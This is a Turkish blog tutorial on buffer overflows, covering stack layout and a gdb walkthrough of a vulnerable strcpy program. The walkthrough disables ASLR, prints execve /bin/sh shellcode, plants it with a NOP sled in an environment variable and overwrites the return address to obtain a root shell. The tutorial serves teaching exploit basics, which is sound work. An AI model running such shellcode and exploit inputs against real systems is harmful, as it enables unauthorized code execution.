Buffer nedir ?
~~~~~~~~~~~~~~~~~
Işletim sistemleri hard
disk üzerinde bulunan bir dosya üzerinde işlem yaparken bunu direk
hard disk üzerindeki dosyaya yansıtmaz.örneğin dosyaya yazma
işlemi gerçekleştirilirken direk olarak dosyanın kendisine yazmaz
bunun yerine o dosya için bufferlama yapar. o dosya için
memory(ram) de buffer alanı(bir veri bloğu) yaratılır ve burası
dolduğunda veya istenildiğinde işletim sistemi tarafından hard
disk üzerindeki dosyaya yazılır.bufferlama ile işletim sistemi
hız kazanmayı hedefler bunun nedeni işlemcinin rame erişim süresi
hard diske erişim süresinden çok daha hızlıdır.neden işlemcinin
hard diske erişim süresinin daha yavaş olduğunu bilmek isterseniz
şu anahtar kelimeler ile yola çıkabilirsiniz.
Anahtar kelimeler ;
matematik,elektrik fiziği,kalıcı mıknatıslama,manyetizma
Buffer kelimesinin
bilgisayardaki karşılığını anlamış bulunuyoruz.artık buffer
gibi bir kelimeyi duyduğumuzda anlamamız gereken bir data bloğundan
bahsettiğimizdir.
Process Nedir ?
~~~~~~~~~~~~~~
Processler bir dosyanın
çalışan örneğidir.hard disk üzerindeki dosyanın çalışan
halidir.
Prosesin memory görünümünü
şu şekilde düşünebiliriz.
~~~~~~~~~~~~~~~~~~~~ -----------> en yüksek adres
aşağıya doğru artar ---> | stack |
~~~~~~~~~~~~~~~~~~~~
| |
~~~~~~~~~~~~~~~~~~~~~
yukarıya doğru artar ---> | heap |
~~~~~~~~~~~~~~~~~~~~~
| bss |
~~~~~~~~~~~~~~~~~~~~~
| data |
~~~~~~~~~~~~~~~~~~~~~
| text |
~~~~~~~~~~~~~~~~~~~~~ ----------> en düşük adres
Text field,uygulamanın
kodlarının tutulduğu kısımdır.
Heap ,programcı tarafından
dinamik olarak kullanılabilen kısımdır.
Stack ,local
değişkenlerin(fonksiyon içerisindeki) tutulduğu,fonksiyon
parametrelerinin geçirildiği kısımdır.
Stack Nedir ?
~~~~~~~~~~~~~
Bir processin stack alanı
framelerden oluşmaktadır ve bu frame içerisinde fonksiyonlar
için local değişkenler,fonksiyonlara geçirilen
parametreler,geriye dönüş adresi,stack frame için old base
pointer bilgileri tutulur.
Base pointerın kendisi
frame pointer olarak da adlandırılır ve bir stack frame şu
şekildedir.
Stack LIFO şeklinde
çalışmaktadır.lifo, last in first out demektir ve türkçeleştirildiğinde Son giren ilk çıkar anlamına gelmektedir.ESP
registerı stack alanının top kısmını göstermektedir .
Temsili stack
{ \\\\ } ----> ESP /
stack top adres
{ \\\\ }
{ \\\\ }
{ \\\\ }
{ \\\\ }
her push operasyonunda
stack alanına ilgili değer itilir ve esp registerının tuttuğu adres
azaltılır.Her pop operasyonunda stack alanından bir değer çekilir ve esp registerının içeriği arttırılır.
Uygulama_1
~~~~~~~~~~~~~~~~
Buraya kadar anlatılanları
basit bir c programı içerisinde inceleyelim.uygulamayı gnu
debugger altında inceleyeceğiz.
uygulamaya ait kod ise şu
şekilde ;
int func(int a,int b,int c){
int *ret;
ret=&ret+2;
*ret=(*ret)+23;
return a+b+c;
}
int main(int argc,char
**argv){
int a;
a=func(0x12,0x13,0x14);
printf("a === %x\n",a);
}
main fonksiyonunda func
fonksiyonunu çağırılışı ;
0x565555f2 <+29>: push
0x14
0x565555f4 <+31>: push
0x13
0x565555f6 <+33>: push
0x12
0x565555f8 <+35>: call
0x565555a0 <func>
Yukarıdaki 4 instructionı
ve stackin durumunu inceleyelim.
=> 0x565555f2
<main+29>: push 0x14
0x565555f4
<main+31>: push 0x13
0x565555f6
<main+33>: push 0x12
0x565555f8
<main+35>: call 0x565555a0 <func>
ilk instruction henüz
çalışmadı ve stack içerisinde şu an için birşey yok(stack
içerisindeki diğer bilgileri göz ardı ediyoruz).
0x565555f2
<main+29>: push 0x14
0x565555f4
<main+31>: push 0x13
0x565555f6
<main+33>: push 0x12
=> 0x565555f8
<main+35>: call 0x565555a0 <func>
Push instructionları
işlendikten sonra stackin durumu aşağıdaki gibidir.
ESP ---->0xffffd354 -->
0x12
0xffffd358 --> 0x13
0xffffd35c --> 0x14
Call instructionı
işlendikten sonra stackin durumu aşağıdaki gibidir.
0000| 0xffffd350 -->
0x565555fd (<main+40>: add esp,0xc)
0004| 0xffffd354 --> 0x12
0008| 0xffffd358 --> 0x13
0012| 0xffffd35c --> 0x14
şu an stackdeki ilk değer
0x565555fd adresidir.bu adres call instructiondan sonraki
instructionın adresidir ve func fonksiyonu için geriye dönüş
adresidir.func fonksiyonundan main fonksiyonuna dönülürken nereye
dönüleceğini bu return adresi belirtir.
Şimdide func fonksiyonunu
gnu debugger altında inceleyelim.
=>0x565555a0 <+0>: push
ebp
0x565555a1 <+1>: mov
ebp,esp
0x565555a3 <+3>: sub
esp,0x10
0x565555a6 <+6>: call
0x56555627 <__x86.get_pc_thunk.ax>
0x565555ab <+11>: add
eax,0x1a55
0x565555b0 <+16>: lea
eax,[ebp-0x4]
0x565555b3 <+19>: add
eax,0x8
0x565555b6 <+22>: mov
DWORD PTR [ebp-0x4],eax
0x565555b9 <+25>: mov
eax,DWORD PTR [ebp-0x4]
0x565555bc <+28>: mov
edx,DWORD PTR [ebp-0x4]
0x565555bf <+31>: mov
edx,DWORD PTR [edx]
0x565555c1 <+33>: add
edx,0x17
0x565555c4 <+36>: mov
DWORD PTR [eax],edx
0x565555c6 <+38>: mov
edx,DWORD PTR [ebp+0x8]
0x565555c9 <+41>: mov
eax,DWORD PTR [ebp+0xc]
0x565555cc <+44>: add
edx,eax
0x565555ce <+46>: mov
eax,DWORD PTR [ebp+0x10]
0x565555d1 <+49>: add
eax,edx
0x565555d3 <+51>: leave
0x565555d4 <+52>: ret
=>0x565555a0 <+0>: push
ebp
0x565555a1 <+1>: mov
ebp,esp
0x565555a3 <+3>: sub
esp,0x10
push ebp
mov ebp,esp
bu iki instruction prologue
olarak bilinmektedir ve bu iki instruction ile yeni bir stack frame
yaratılır.
sub esp,0x10 instructionı
ile stack de local değişkenler için yer ayrılır. Burada yalnızca
int *ret local değişkeni 4 bytelık alan işgal etmesine rağmen
neden 16 baytlık bir alana ihtiyaç duyuluyor diye düşünebilirsiniz.
Gnu compiler default olarak x86 mimari için stackde 16 baytlık
hizalama yapıyor.func fonksiyonu içerisine char buffer[12]
bufferını tanımlayıp tekrar derleyin ve inceleyin ardından aynı
bufferın boyutunu bu sefer 13 bayt(char buffer[13]) olacak şekilde
değiştirin ve derleyip tekrar inceleyin.
0x565555a6 <+6>: call
0x56555627 <__x86.get_pc_thunk.ax>
0x565555ab <+11>: add
eax,0x1a55
call instructionı __x86.get_pc_thunk.ax
çağrısını gerçekleştirmekle call instructiondan sonraki
adresin değerini eax içerisine yüklemektedir.ardından bu eax
değeri ile 0x1a55 değeri toplanmaktadır.bunun yapılmasının
nedeni GOT tablosunun base adresini elde etmektir..konuyla direk
alakası olmadığından detayına girmiyoruz.
0x565555b0 <+16>: lea
eax,[ebp-0x4]
0x565555b3 <+19>: add
eax,0x8
lea instructionı ebp-0x4
değeri neye karşılık geliyorsa bunu direk olarak eax içerisine
yükler.dikkat edin [ebp-0x4] içeriği değil direk olarak ebp-0x4
kendisi neye karşılık geliyorsa bunu eax içerisine
yüklemektedir.ardından 0x8 değeri ile toplanmaktadır.neden 0x8
diye düşünüyorsanız func fonksiyonu içerisindeki şu kodları
hatırlamamız gerekir.
int *ret;
ret=&ret+2;
int *ret stack adresi ---->
[ebp-0x4]
ret=&ret+2;
----> integer bir pointerı 2 ile toplamak adres değerini 8
arttırmayı gerektirir çünkü integer değerler 4 baytlık
bir alan kaplamaktadır.
Stackin func
fonksiyonundayken ki durumu şu şekildedir.
0 | ret değişkenimiz
4 | eski ebp
8 | return adresi maine
dönülecek
şu anki stack durumunu göz
önünde bulundurduğumuzda ret değişkenimiz ile return adresini
değiştirdiğimizin farkına varmışsınızdır.uygulamayı
çalıştırdığımızda segmentation fault alıcağız.Bunun
nedeni func fonksiyonunun local değişkeni ret ile geriye dönüş
adresinin adresi elde edildikten sonra buranın içeriğinin
bozulmasıdır.
Retun adresinin
değiştirilmesi ile amaçlanan ise programın kontrolünün ele
geçirilmesi, programın akışının bozulması ve istenilen bir
başka kodu tetikletmek.
Uygulama 2
~~~~~~~~~~~~~
Bir işi anlamanın en iyi
yolu onun en basit halini ele almaktır. Bu yüzden basit bir
uygulama ile olayı anlamaya çalışalım.
void move(char *src)
{
char buffer[10];
strcpy(buffer,src);
}
int main(int argc,char
**argv){
move(argv[1]);
printf("end of
main\n");
}
uygulama dışarıdan aldığı
girdi ile buffer değişkenini doldurmaktadır. Fakat uygulama dışarıdan alınan girdiyi kontrol
etmemektedir. Uygulamadaki buffer local değişkeni taşırılabilir
ve stack alanındaki diğer bilgiler bu taşma sayesinde ezilebilir.
Burada değinmek istediğim
bir nokta daha var. çalışan bir uygulamayı istediğimiz noktaya
yönlendirsek dahi bu noktaya kendimiz nasıl bir kod enjekte
edeceğiz ? Bunun cevabı kodu makina dilinde yazdıktan sonra
uygulamaya enjekte etmek. Enjekte edilicek makine dilindeki bu kodun
kendisine shellcode denilmektedir.
bufferoverlow bugının
shellcode enjekte edilerek sömürülmesi:
____________________
____________________
| |
| shellcode | <
<
| | ^
|___________________ | ^
| | ^
| | ^
| Program | >
> ^
| |
|___________________ |
Görüldüğü gibi kodun
akışı değiştirilerek enjekte edilmiş kodun kendisine
yönlendirilmiştir. Bunun pratiğini yapmak için uygulamayı
derleyelim. Fakat derlerken -fno-stack-protector -z exectack
parametreleri ile derleyelim. Bunun nedeni işletim sistemleri bir
uygulamayı belleğe sayfalar halinde yerleştirmektedir. Örneğin
bu sayfa boyutu 4K ise bu durumda işletim sistemi bu programı 4K
şeklinde belleğe yükleyecektir ve her bir sayfanın ise hakları
vardır. Bu Haklar sayfanın yazılabir,okunabilir,icra edilebilir
olması gibi haklardır. STACK içerisindeki tüm sayfalar default
olarak Non-Executable yani bu sayfalarda kod çalıştırılamaztır.Biz
uygulama üzerinde pratik yapacağımızdan stack alanının
executable yani çalıştırılabilir olmasını istiyoruz.
O zaman neden
bufferoverflow bir bug olsun ki gibi düşünüyorsanız ROP gibi
yöntemler ile Non-Executable olan programlarda sömürülmektedir.peki
ROP tam olarak nedir ? diye soruyorsanız bu ayrı bir yazı başlığı
olduğundan detaylarına girilmeyecektir. bu yazı bufferoverflowun
ne demek olduğunu tüm diğer konulardan bağımsız olarak
anlatmayı amaçlamaktadır.
Şimdi 2.uygulamadaki
bufferoverflow bugını sömürelim. Bunun için ilk yapmamız
gereken şey shellcode hazırlamak. Yazıcağımız shellcode x86
mimariye ait olacaktır ve yapacağı iş ise uygulama içerisinde
bize shell açması olacaktır.
Shellcode veya makine
dilinde kodun yazılması için öncelikle hazırlayacağınız
kodun x86 assemblyde nasıl yazılacağıdır.Ardından bu assembly
kodlarının opcode karşılıklarını elde edeceğiz. X86 assembly
kodunun shellcode koduna dönüşümünü okuyucuya bırakıyorum.
Neden ? Diye soracak olursanız bunu anlamanız gerçekten yararınıza
olacaktır. Bunları ben bir çok kere yaptığımdan direk peda(gnu
debugger eklentisi) tarafından hazır halini aldım. : )
Peda ile generate
edilmiş bir shellcode.
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
ASLR-Address Space Layout Randomization
~~~~~~~~~~~
stack adres aralığının değiştirilmesidir. Bufferoverflow gibi buglara karşı alınmış
bir önlemdir. Saldırganın stack üzerindeki sabit bir adres veya
öngördüğü bir adres ile çalışmasını önler. Bizim
örneğimizi ele alacak olursak enjekte edeceğimiz shell kodun
adresi proses her çalıştırıldığında değişecektir.
Daha önce belirttiğimiz
gibi bu yazının daha kolay anlaşılabilir olması için diğer
konulardan bağımsız olarak anlatılacaktır..Bu yüzden ASLR koruması devre dışı bırakıldığı göz önünde bulundurularak anlatıma
devam edilecektir..
ASLR yi devre dışı
bırakmak için ;
echo 0 >
/proc/sys/kernel/randomize_va_space
uygulamayı şu şekilde
çalıştırırsanız segmentation fault hatasını alırsınız.
root@kali:~/Desktop#
./example $(python -c 'print "A"*52')
Segmentation fault
bunun nedeni strcpy '/0'
null karakterini bulana kadar gelen veriyi buffer içerisine
doldurmakta ve bu durumda buffer 10 baytlık alanının dışına
taşmaktadır. Ezilen diğer alanlardan biri de return adresinin
tutulduğu alandır. Biz bufferı taşırarak return adres değerini
ezmiş oluyoruz.
strcpy bufferı doldurmadan
önce :
[ buffer
]------------[return_address]
strcpy bufferı doldurduktan
sonra :
[AAAAAAAAAA]....AA.......[AAAA]
o halde inputumuzu şu
formata sokalım.
[ Shellcode ]
................ [ yeni return adresi ]
peki yeni return adresimiz ?
Yeni return adresimizi shellcode neredeyse onu göstermeli Işte şu
şekilde
← ← ← ← ← ← ← ← ← ← ← ← ← ← ←
↓ ↑
[ Shellcode ]
................ [ shellcode_adresi]
peki shellcode adresini
nasıl bilebiliriz ? Işi biraz daha kolaylaştırmak için shell
kodumuzu linux komut satırının çevre değişkenlerine
ekleyeceğiz.Komut satırının altında çalışan programlar onun
child prosesi olur ve çevre değişkenlerinin tamamı child prosese
yerleştirilir ve çevre değişkenler komut satırı altında
çalıştırılan programların stack alanına yerleştirilir.
root@kali:~/Desktop# export
shellcode=$(python -c 'print
"\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')
shellcode önüne 30 adet
nop instructionı ekledik.buradaki 0x90 hexadecimal değeri nop
instructionın opcode karşılığıdır.
Peki neden ekledik ? Biraz
aşağılarda bu durumdan bahsedicem fakat neden başına eklediğimiz
sorusunu soruyorsanız. Bunun nedeni, x86 mimarinin little endian
şeklinde çalışması ve bunu bilen işletim sistemimiz çevre
değişkenimizi ters çevirip düz bir şekilde çevre değişkenlere
eklemesidir.
Litttle endian nedir ?
Sorusunu ise kısaca google üzerinde araştırma yaparak
bulabilirsiniz.
shellcode environment
variablenın adresini nasıl bulabiliriz ? Basit bir C kodu yazarak
bunu halledebiliriz. Fakat istersek Gnu debugger altında dosyayı
inceleyerek programın envrionmet variableların adresini
öğrenebilirsiniz.
Komut satırında env
yazarak tüm çevre değişkenleri görebilirsiniz. Buradan shellcode
çevre değişkeninin index numarasını bulunuz ve daha sonra
programı gnu debugger içerisinde incelemek için programı gnu
debuggera load edin. Bunun en basit yolu main fonksiyonuna bir break
koymak ve run etmek.
Bundan sonra yapmanız
gereken tek şey gnu debugger altında şu komutu çalıştırmak
"x/s *((char **)environ+14). Buradaki 14 shellcode çevre
değişkeninin index numarasıdır.sizde farklı olması muhtemeldir.
gdb-peda$ x/s *((char
**)environ+14)
0xffffdc23: "shellcode=",
'\220' <repeats 30 times>,
"\061\300Ph//shh/bin\211\343\061ɉ\312j\vX̀"
0xffffdc23 adresi
"shellcode=" stringi ile başlamakta ve bu string 10
karakter içerdiğinden shellcode çevre değişkenin sakladığı
değer ise 0xffffdc23 adresinden 10 bayt ötedeki 0xffffdc2d
adresinde tutulmaktadır.
gdb-peda$ x/xw 0xffffdc23+10
0xffffdc2d: 0x90909090
O halde yapmamız gereken
tek şey return adresini doğru bir şekilde ezmek, ama bundan da
önce girdimizin neresinde return adresimiz eziliyor bunu bilmemiz
gerekmektedir.
Bunun için programa
rastgele bir input vererek inputumuzun neresinde return adresini
ezildiğini bilebiliriz. Aslında herşey belli değil mi ? diye
düşünebilirsiniz fakat fonksiyonların girişlerinde stack pointer
ile oynandığından dikkatli bir şekilde incelemeli ve
hesaplamaları buna göre yapmalıyız.
Bununla uğraşmak yerine
bir patern üreterek bunu programa sunarız ve gnu debugger altında
inceleyip, Instruction pointerın yanlış return adrese
setlendiğini görürürz ve ardından inputumuzun ilgili yerine
kendi shellcode adresimizi yerleştiririz.ilkine göre daha basit
kalmakta o yüzden bu yöntemi tercih ediyoruz.ilkini okuyucunun
denemesini hatta eline kağıt kalem alarak stack alanını çizmesini
ve hesaplamalarını buna göre yapmasını tavsiye ediyorum.
giriş olarak kullanılan
string = AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa
gnu debugger altında bu
stringi vererek programı incelendiğinde alınan hata şu
şekildedir.
Invalid $PC address:
0x41284141('AA(A')
Program Counter veya diğer
ismiyle EIP (Extendent Instruction Pointer) "AA(A" değerine
setlenmiş o halde giriş stringimizdeki AA(A değeri yerine
shellcode adresimizi yazalım.
Yeni giriş stringimiz =
AAA%AasAABAA$AAnAACAA-\x2d\xdc\xff\xffADAA;AA)AAEAAa
root@kali:~/Desktop#
./example $(python -c 'print
"AAA%AasAABAA$AAnAACAA-\x2d\xdc\xff\xffADAA;AA)AAEAAa" ')
Segmentation fault
gördüğünüz gibi doğru
adresi girmiş olmamıza rağmen segmentation fault aldık neden ?
Öncelikle yukarılarda nop instructionını neden eklediğimizi
belirteceğimi söylemiştim. Nop instructionları registerları
etkilemeyen no operation anlamında bir emirdir. Bu instructionı
shell kodumuzun başına ekleyerek shell kodumuzu şu hale getirdik.
-- [ nop ......nop.......nop
shellcode ] --
gördüğünüz gibi tam
olarak adresi gnu debugger altında hesaplamamıza rağmen o adresde
shell kodumuzun bulunmamaktadır. Bunun nedeni stack adreslerinde bir
kayma olmasıdır. gnu debugger altında çalıştırdığımız
programın stack adresi ile direk olarak komut satırında
çalıştırıdığımız programın stack adresleri bire bir aynı
değildir.
Bu yüzden nop emirlerinin
olmadığı bir shell kod için 0x31(shellcode için ilk emir)
emirinin adresi tahmin etmek çok daha fazla deneme yanılma yapmamız
gerektirecektir.
Bunu tahmin etmek zor
olduğundan shellcode'un başına nop emirleri ekleyip adreside bu
nop havuzuna dallandırmamız yeterli olacaktır.
shellcode civarındaki bir
adresin elimizde olduğunu düşünürsek ;
Ilk seferde nop emirlerden
birini tahmin etme olasılığımız : 30/54
0x31 emri için ise bu
olasılık : 1/54 iki olasılığı karşılaştırınca ilki daha
iyi gibi duruyor.
root@kali:~/Desktop#
./example $(python -c 'print
"AAA%AasAABAA$AAnAACAA-\x40\xdc\xff\xffADAA;AA)AAEAAa" ')
# id
uid=0(root) gid=0(root)
groups=0(root)
görüldüğü gibi shell kodumuz çalıştı.
adresimizi 0xffffdc40 olarak
değiştirdik fakat bunun ilk nop ya da 30.nop emirinin olması bizim
için önemli değil. İster ilk nop ister 17.nop emri olsun bu nop
emirlerinin icrasından sonra gerçek shell kodumuz
çalışacaktır.sanırım şimdi neden nop emirlerini kullandığımızı
daha iyi anladık.
Yazı içerisinde stack
korumaları ve bufferoverflow için alınmış önlemlerden
bahsedilmedi, ve yine bir çok default korumalar bilerek bypass
edildi.
Bu koruma yöntemlerinin
nasıl ve ne gibi yöntemlerle atladıldığından da bahsedilmedi.
Kısacası yazının amacı
okura bufferoverflow ile aslında programın akışının
değiştirilmesi veya programın kontrolünün saldırgan tarafından
ele geçirildiğini anlatabilmekdi.
Umarım yazı faydalı
olmuştur.
Referanslar :
EOF
Hiç yorum yok:
Yorum Gönder